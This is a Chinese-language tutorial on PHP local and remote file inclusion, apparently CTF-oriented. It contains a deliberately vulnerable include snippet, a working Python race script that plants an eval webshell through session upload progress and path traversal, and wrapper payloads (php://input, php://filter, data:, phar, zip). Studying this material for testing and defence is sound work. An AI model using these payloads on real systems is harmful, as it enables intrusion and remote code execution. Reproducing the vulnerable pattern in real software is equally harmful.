一般引发文件包含漏洞的函数是以下几个:

  1. include()
  2. include_once()
  3. require()
  4. require_once()

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。测试代码:

  1. <?php
  2. $file = $_GET['file'];
  3. include $file;
  4. ?>

同目录下有一个flag文件,使用payload:

  1. http://127.0.0.1:8888/test.php?file=flag

即可读取到flag文件的内容。

本地文件包含漏洞(LFI)

LFI(Local File Inclusion)
本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。简单的测试用例如前所示。

绕过 Session 包含限制 Getshell

Java是将用户的session存入内存中,而PHP则是将session以文件的形式存储在服务器某个文件中,可以在php.ini里面设置session的存储位置session.save_path

可以通过phpinfo查看session.save_path的值。
t014d2518adc177a80d.png
默认session保存路径:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sessions/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

有session_start()的情况

直接将webshell写入session,然后包含即可,常见过滤方式为base64encode,绕过方法:https://www.anquanke.com/post/id/201177#h2-8

无session_start()的情况

通过post一个PHP_SESSION_UPLOAD_PROGRESS字段打开session功能。

  1. 设置cookie为PHPSESSID=Qftm,值可以随意取。
  2. POST一个字段PHP_SESSION_UPLOAD_PROGRESS

常规利用脚本:

  1. import io
  2. import sys
  3. import requests
  4. import threading
  5. sessid = 'Qftm'
  6. def POST(session):
  7. while True:
  8. f = io.BytesIO(b'a' * 1024 * 50)
  9. session.post(
  10. 'http://192.33.6.145/index.php',
  11. data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
  12. files={"file":('q.txt', f)},
  13. cookies={'PHPSESSID':sessid}
  14. )
  15. def READ(session):
  16. while True:
  17. response = session.get(f'http://192.33.6.145/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
  18. # print('[+++]retry')
  19. # print(response.text)
  20. if 'flag' not in response.text:
  21. print('[+++]retry')
  22. else:
  23. print(response.text)
  24. sys.exit(0)
  25. with requests.session() as session:
  26. t1 = threading.Thread(target=POST, args=(session, ))
  27. t1.daemon = True
  28. t1.start()
  29. READ(session)

远程文件包含漏洞

RFI(Remote File Inclusion)
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要满足以下条件:

  1. allow_url_fopen = On
  2. allow_url_include = On

    伪协议

    php://input

    可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行

  • 利用条件:
    1. allow_url_include = On。
    2. 对allow_url_fopen不做要求。
  • payload: ```php index.php?file=php://input

POST: <? phpinfo();?>

  1. <a name="KrAmA"></a>
  2. ## php://filter
  3. > `php://filter` 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
  4. - 利用条件:
  5. - payload:
  6. ```php
  7. index.php?file=php://filter/read=convert.base64-encode/resource=index.php

以base64编码的形式读取index.php

phar://

phar是什么?Phar归档最好的特点是可以方便地将多个文件组合成一个文件。因此,phar归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,而不需要将其提取到磁盘。此外,PHP可以像执行任何其他文件一样轻松地执行phar归档,无论是在命令行上还是在web服务器上。

  • 利用条件:
    1. php版本大于等于php5.3.0
  • payload:

先往服务器上传上制作好的phar包,接着使用phar://协议执行phar包中的php文件

zip://

zip://可以访问压缩文件中的文件

  • 利用条件
    1. php版本大于等于php5.3.0
  • payload

用法同phar,不过路径分隔符使用#

data:text/plain

和php伪协议的input类似,也可以执行任意代码,但利用条件和用法不同

  • 利用条件
    1. php 版本>=php5.2
    2. allow_url_fopen = On
    3. allow_url_include = On
  • payload

用法1:?file=data:text/plain,<?php 执行内容 ?>
用法2:?file=data:text/plain;base64,编码后的php代码

file://

file:// 用于访问本地文件系统,且不受allow_url_fopen与allow_url_include的影响。

  • 利用条件:

  • payload:
    1. ?file=file://文件绝对路径